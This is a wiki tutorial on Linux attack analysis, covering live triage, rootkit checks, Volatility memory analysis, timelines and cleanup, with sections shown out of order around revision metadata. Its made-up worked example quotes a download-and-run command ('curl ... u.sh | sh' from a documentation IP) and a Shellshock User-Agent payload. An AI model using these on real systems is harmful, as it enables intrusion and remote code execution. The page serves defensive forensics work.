Compare the full list against a clean machine of the same OS, the same baseline-and-<code>diff</code> technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, and dot-prefixed directories under <code>/usr</code>, <code>/var</code> or <code>/dev</code> are all worth a closer look.

=== A post-exploitation checklist ===

{| class="wikitable"
! Check !! How
|-
| New or unexpected SSH keys || Read every <code>authorized_keys</code>. If you find one, search your other machines for the same key.
|-
| Unexpected group members || Compare <code>/etc/group</code> against what you expect, especially groups named in <code>sudoers</code>.
|-
| Unlocked service accounts || Service accounts should have <code>nologin</code> (or <code>false</code>) as their shell and no valid password hash in <code>/etc/shadow</code>.
|-
| Extra UID 0 accounts || <code>awk -F: '$3==0' /etc/passwd</code>
|-
| Edited sudo rules || Read <code>/etc/sudoers</code> and <code>/etc/sudoers.d/</code> directly.
|-
| Unauthorized set-UID bits || The <code>find</code> commands above.
|}

== Step 5: Rootkits and tampering ==

A '''rootkit''' is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:

* '''User-space (library preload) rootkits''' install a malicious shared library and make every program load it (through <code>/etc/ld.so.preload</code> or the <code>LD_PRELOAD</code> variable), so that <code>ls</code>, <code>ps</code>, <code>ss</code> and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
* '''Kernel-module (LKM) rootkits''' load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under <code>/usr/src</code>) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.

=== Signs something is being hidden ===

* Basic tools misbehave, disagree with each other, or stop working (<code>ls</code> or <code>ps</code> failing on an otherwise healthy system).
* A listening port shows in a port scan from another machine but not in <code>ss</code> on the host.
* Disk usage that does not add up, or CPU usage with no process to explain it.
* Logs with unexplained gaps, zero-length files (<code>/var/log/wtmp</code>, <code>btmp</code>) or timestamps that jump backwards.
* A "tainted" kernel: <code>cat /proc/sys/kernel/tainted</code> is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?", it is not necessarily a verdict.

=== Detection tools ===

<syntaxhighlight lang="bash">
sudo apt install rkhunter chkrootkit # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit
</syntaxhighlight>

<code>rkhunter</code> and <code>chkrootkit</code> compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in <code>/var/log/rkhunter.log</code>). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:

* They are '''signature-based''': they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). <code>chkrootkit</code> in particular sees little development, and many investigators no longer rely on it.
* They run ''on'' the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).
* <code>rkhunter</code> is much more useful if you run <code>sudo rkhunter --propupd</code> on a known-clean system first, so later runs can detect changed files.

=== Verify installed files against the package manager ===

<syntaxhighlight lang="bash">
sudo apt install debsums && sudo debsums -c # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va # RHEL family: verify all packages
</syntaxhighlight>

A modified <code>/bin/ls</code>, <code>/usr/bin/ps</code> or <code>sshd</code> that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)

=== Cross-checking tools against each other ===

Because a rootkit typically fools some tools but not others, disagreement is informative:

<syntaxhighlight lang="bash">
echo /usr/src/.* # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc # look for processes hidden from ps
lsmod # compare to a known-good machine's module list
</syntaxhighlight>

A statically linked tool (such as <code>busybox</code>, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.

=== Log tampering ===

<syntaxhighlight lang="bash">
ls -la /var/log # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify # consistency check of the journal files
</syntaxhighlight>

The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with <code>rsyslog</code>) so that deleting local lines does not delete the record.

== Going deeper: memory analysis with Volatility 3 ==

Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.

[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.

=== The symbols problem ===

Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.

Making one requires the kernel built '''with debugging symbols''': a "debug" kernel package for the exact version (named with <code>-dbg</code> or <code>-dbgsym</code> depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.

<syntaxhighlight lang="bash">
# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME= # the distribution name, too

# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 # look for "with debug_info, not stripped"

# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/
</syntaxhighlight>

If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (<code>vol</code>, <code>vol.py</code> or <code>vol3.py</code>) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with <code>-s .</code>.

=== The plugins you will use most ===

Plugin names and output change between versions. List the current ones with <code>vol --help | grep linux.</code>. A good first test is <code>linux.pslist.PsList</code>: it is fast, and if it produces sensible output your image and symbols are working.

{| class="wikitable"
! Plugin !! What it answers
|-
| <code>linux.pslist.PsList</code> || What processes exist (PID, parent PID, name)?
|-
| <code>linux.psaux.PsAux</code> || The same, with each process's full command line.
|-
| <code>linux.pstree.PsTree</code> || The parent/child tree, useful for "how was this started?"
|-
| <code>linux.lsof.Lsof</code> || Which files does a process have open (add <code>--pid</code> to pick one)? Reveals executables and data in strange places.
|-
| <code>linux.elfs.Elfs</code> and <code>linux.proc.Maps</code> || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
|-
| <code>linux.sockstat.Sockstat</code> || Network connections and listeners (filter with <code>grep AF_INET</code> to skip the noisy local sockets).
|-
| <code>linux.bash.Bash</code> || Command history recovered from running shells, ''with timestamps''.
|-
| <code>linux.lsmod.Lsmod</code> || Loaded kernel modules (the ones that are not hidden).
|}

The <code>bash</code> plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.

=== Hunting for rootkits in memory ===

<syntaxhighlight lang="bash">
vol -s . -f memory.lime linux.check_modules.Check_modules # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds # processes sharing credentials, a sign of credential tampering
</syntaxhighlight>

* <code>Check_modules</code> compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing <code>Lsmod</code> output with a known-good machine.
* <code>Check_syscall</code> shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under <code>/proc</code>, hide processes too) and for sending signals.
* Other plugins (for example <code>Check_afinfo</code>, <code>Check_idt</code>, <code>Keyboard_notifiers</code>, <code>Tty_check</code>) look for network-structure tampering and keylogger techniques.

After that use YARA rules built from indicators you already have (the <code>YaraScan</code> plugin, or YARA directly), look at the <code>bash</code> history for the commands used to install the rootkit, and search the image with <code>strings</code>.

=== No symbol file? Quick triage instead ===

Even without Volatility working, a memory image can be mined. <code>strings</code> pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.

<syntaxhighlight lang="bash">
strings -a memory.lime | gzip > memory.strings.gz # keep for context searches
bulk_extractor -o be-out memory.lime # the output folder must not already exist

head be-out/url_histogram.txt # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt

# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head
</syntaxhighlight>

Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (<code>zgrep -F -C3 suspicious.example memory.strings.gz</code>) for context.

== Step 6: Building a timeline ==

Investigations get clear once events are in one ordered list. A '''timeline''' combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.

=== Quick version ===

<syntaxhighlight lang="bash">
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
-printf '%C+ %T+ %u %p\n' | sort

stat /var/tmp/.cache/update # shows access, modify, change (and, on many filesystems, birth) times

# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc # a directory sorted by modification time, oldest first
</syntaxhighlight>

=== The full method (The Sleuth Kit) ===

For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.

<syntaxhighlight lang="bash">
# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz # -o = the partition's start sector, from mmls

# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv
</syntaxhighlight>

Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as <code>2026-09-01..2026-09-15</code> to limit it further. Then start from '''pivot points''': places in the timeline you already have reason to look.

* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
* Modification times on <code>/etc/passwd</code> and <code>/etc/shadow</code> if accounts were added.
* An alert, a log entry or a suspicious login.
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.

=== Understanding Linux timestamps ===

Files have four time values:

{| class="wikitable"
! Name !! Meaning !! Notes
|-
| '''mtime''' (modified) || When the contents last changed || Easy for an attacker with root to set to any value with <code>touch -d</code>.
|-
| '''atime''' (accessed) || When the contents were last read or run || Linux usually mounts with <code>relatime</code>, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
|-
| '''ctime''' (changed) || When the file's ''metadata'' last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as <code>debugfs</code>).
|-
| '''btime''' (birth/creation) || When the file was created || Recorded by ext4 and shown by <code>stat</code> ("Birth"); not available on every file system or tool.
|}

Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits <code>/etc/shadow</code> and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.

For those reasons, treat a timeline as '''a guide to evidence, not evidence itself'''. It points you to the files, logs and memory artifacts that you then examine and can report.

Some other useful timing facts:

* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
* The SSH host keys under <code>/etc/ssh</code> are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
* Check the system's own clock and time zone against its logs before you compare times across sources.

=== A note on deleted files ===

Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.

== Worked example ==

''This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.''

'''Report:''' the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.

'''1. Volatile state.''' The process tree shows a shell started by the web server, and a process nobody can identify:

<syntaxhighlight lang="text">
www-data 4108 apache2 -k start
www-data 4121 \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data 4188 /var/tmp/.cache/update
</syntaxhighlight>

<syntaxhighlight lang="text">
$ sudo ss -tnp state established
Recv-Q Send-Q Local Address:Port Peer Address:Port Process
0 0 10.0.0.5:48822 203.0.113.50:4444 users:(("update",pid=4188,fd=3))
</syntaxhighlight>

Already there are three clues: a web-server child running a downloader, a program in a hidden directory under <code>/var/tmp</code>, and an outbound connection owned by that program.

'''2. Way in.''' The access log around the time process 4121 started (14:02 UTC) holds:

<syntaxhighlight lang="text">
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"
</syntaxhighlight>

A <code>() {</code> in the User-Agent, sent to a CGI script, is a Shellshock attempt. The <code>200</code> and the timing (the shell appears seconds later) suggest it worked. The client address, <code>198.51.100.7</code>, is the same one that was guessing SSH passwords minutes earlier in <code>auth.log</code>, so the attacker was probing more than one way in.

'''3. Persistence.''' The cron directory for the web user contains a job that restarts the unknown program every minute:

<syntaxhighlight lang="text">
$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1
</syntaxhighlight>

Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of <code>/proc/4188/exe</code> and hashes it.

'''4. Timeline.'''

{| class="wikitable"
! Time (UTC) !! Event !! Source
|-
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as <code>deploy</code> || <code>auth.log</code>
|-
| 14:02 || Shellshock-style request against <code>/cgi-bin/status.sh</code> || <code>access.log</code>
|-
| 14:02 || <code>apache2</code> spawns a shell that downloads and runs a script || process tree
|-
| 14:03 || <code>/var/tmp/.cache/update</code> created; cron entry added || file times, crontab
|-
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || <code>ss</code>
|}

'''5. Conclusions and open questions.''' The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the <code>deploy</code> SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.

== After the analysis ==

* '''Contain:''' isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
* '''Eradicate and recover:''' if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
* '''Reset credentials and keys''' that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
* '''Close the way in:''' patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).
* '''Write it up:''' the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.

== Quick reference: symptom to first check ==

{| class="wikitable"
! Symptom !! First place to look
|-
| Unexpected logins || <code>last -aiF</code>, <code>auth.log</code> (or <code>secure</code>), <code>journalctl -u ssh</code>
|-
| Web server slow or making outbound connections || Process tree (<code>ps --forest</code>), <code>ss -tnp</code>, web access and error logs
|-
| A process you cannot identify || <code>/proc/PID/exe</code> and <code>cwd</code>; is the executable deleted, under <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, or in a hidden directory?
|-
| A user or service you do not recognize || <code>/etc/passwd</code> (UID 0 and login shells), <code>/etc/shadow</code>, <code>sudoers</code>
|-
| A program that keeps coming back || <code>crontab</code>s, <code>systemctl list-timers</code>, enabled unit files, shell start-up files, scripts those run
|-
| Someone can log in without a password || <code>authorized_keys</code> files, <code>sshd_config</code>
|-
| Commands behave strangely or disagree || <code>debsums</code> or <code>rpm -Va</code>, <code>/etc/ld.so.preload</code>, a memory image with Volatility, a trusted boot disk, <code>rkhunter</code> as a secondary check
|-
| Logs look too clean || File sizes and mtimes in <code>/var/log</code>, remote log server, <code>journalctl --verify</code>
|-
| "What happened, and in what order?" || A timeline: <code>find -printf</code> for a quick look, TSK <code>fls</code> plus <code>mactime</code> for a full one
|-
| Machine is off, or you have only a disk || Mount the image read-only (<code>ro,noexec,noload</code>) and work through steps 2 to 6 on the mount
|}

== Practicing safely ==

The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the ''defender'' side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.

For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository's own terms before copying or redistributing anything from it.

== Credits and license ==

Parts of this page are adapted from ''Linux Forensics'' (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].

== Sources and further reading ==

* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics ''Linux Forensics'']. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for <code>ss</code>, <code>find</code>, <code>stat</code>, <code>journalctl</code>, <code>last</code>, <code>ausearch</code>, <code>mount</code>, <code>losetup</code> and the other commands used above.

[[Category:Linux]]
[[Category:Pending review]]

Attack Analysis

2026-10-02T23:36:39Z

FlyingShrimps:

Attack Analysis

2026-10-02T23:36:25Z

FlyingShrimps:

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]

|}

'''Attack analysis''' is the work you do ''after'' something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.

== Ground rules ==

* '''Only analyze systems you own or are explicitly authorized to examine.''' This one is pretty self-explanatory.
* '''Write down what you do.''' Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker's.
* '''Any indicator is a lead, but not proof.''' A failed-login flood, an odd file in <code>/tmp</code> or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
* '''Do not trust a compromised machine to tell the truth.''' If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].
* '''Understand before you delete.''' Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
* '''Work on copies, read-only.''' Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with <code>sha256sum</code>) of each image when you make it so you can show later that it did not change.

== The analysis loop ==

Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.

# '''Preserve''' evidence: memory, running state and disks, before they change or disappear.
# '''Find the way in''': the initial access (a guessed password, a vulnerable web application, a stolen key).
# '''Find what they did''': commands run, files touched, accounts created, data reached, etc.
# '''Find what they left behind''': persistence/backdoors so they can come back.
# '''Look for hiding''': rootkits and log tampering.
# '''Build a timeline''' that ties the above together, and check it for gaps.
# '''Contain, clean up and harden''': only once you understand the scope.

== Three ways to examine a system ==

The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.

{| class="wikitable"
! Approach !! What you get !! Watch out for
|-
| '''Live system''' (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
|-
| '''Memory image''' || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).
|-
| '''Disk image''' || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.
|}

== Where Linux keeps evidence ==

Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).

{| class="wikitable"
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you
|-
| Authentication and sudo || <code>/var/log/auth.log</code> || <code>/var/log/secure</code> || SSH logins (successful and failed), <code>sudo</code> and <code>su</code> use, new accounts
|-
| General system log || <code>/var/log/syslog</code> || <code>/var/log/messages</code> || Service starts and crashes, kernel messages, cron runs
|-
| systemd journal || <code>journalctl</code> || <code>journalctl</code> || The same events, indexed; the only source on systems without a syslog daemon
|-
| Login records || <code>last</code>, <code>lastb</code>, <code>lastlog</code> (read <code>/var/log/wtmp</code>, <code>btmp</code>, <code>lastlog</code>) || same || Who logged in, from where, and when; failed logins
|-
| Web server logs || <code>/var/log/apache2/</code> or <code>/var/log/nginx/</code> || <code>/var/log/httpd/</code> or <code>/var/log/nginx/</code> || Every request the web server handled (see below)
|-
| Audit framework (if installed) || <code>/var/log/audit/audit.log</code> || <code>/var/log/audit/audit.log</code> || File access, command execution and account changes, according to the rules configured
|-
| Package history || <code>/var/log/dpkg.log</code>, <code>/var/log/apt/history.log</code> || <code>dnf history</code>, <code>/var/log/dnf.log</code> || Software installed or removed, and when
|-
| Shell history || <code>~/.bash_history</code> (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)
|-
| Scheduled tasks || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/crontabs/</code> || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/</code> || Commands that run automatically
|}

If <code>/var/log/auth.log</code> does not exist on a newer install, the system is logging to the journal only; use <code>journalctl</code> instead.

When you examine a '''mounted disk image''' (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example <code>/mnt/data/var/log/auth.log</code>. It is easy to read your own workstation's <code>/var/log</code> by accident.

== Step 1: Preserve evidence ==

Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and '''do not reboot''' the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.

=== Live triage and volatile state ===

If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:

<syntaxhighlight lang="bash">
date -u; uptime # record the time and how long it has been up
who -a; w # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest # process tree with start times
sudo ss -tunap # all sockets with the owning process
sudo lsof -nP -i # network files, a second opinion on ss
</syntaxhighlight>

Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:

<syntaxhighlight lang="bash">
# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence

# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence
</syntaxhighlight>

Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.

==== Reading the process list ====

It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:

* '''A web server with a shell (<code>sh</code>, <code>bash</code>) or a download tool (<code>curl</code>, <code>wget</code>) as a child''' is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
* '''Programs running from the wrong place.''' System programs live under <code>/usr</code> (and third-party software under <code>/opt</code> or <code>/usr/local</code>). A program running from <code>/tmp</code>, <code>/var/tmp</code>, <code>/dev/shm</code> or someone's home directory should be scrutinized.
* '''Programs running from a deleted file.''' Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.
* '''Programs whose working directory is a hidden directory''' (a name starting with a dot, i.e. <code>.ssh</code>).
* '''Orphans.''' When a parent process exits, its children are adopted by the init process (PID 1, usually <code>systemd</code>), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
* '''Disguised names.''' A process can rename itself so that <code>ps</code> shows something like <code>[kworker/3:3]</code>, which looks like a kernel thread. Real kernel threads are children of <code>kthreadd</code> (PID 2) and have no executable file.

<syntaxhighlight lang="bash">
# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'

# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'

# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'

# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

# what a suspicious process (PID 4188 here) is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo
</syntaxhighlight>

'''Recovering a deleted program.''' Because the running process still holds the file open, you can copy it out of <code>/proc</code> before you kill the process, and then hash it and study it (or look it up):

<syntaxhighlight lang="bash">
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin
</syntaxhighlight>

Also note '''listening''' ports (<code>sudo ss -tulpn</code>) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.

==== Where attackers stage files ====

Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:

* <code>/tmp</code> and <code>/var/tmp</code>: world-writable and the classic spot.
* <code>/dev/shm</code>: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. '''Look in it before you power the machine off.'''
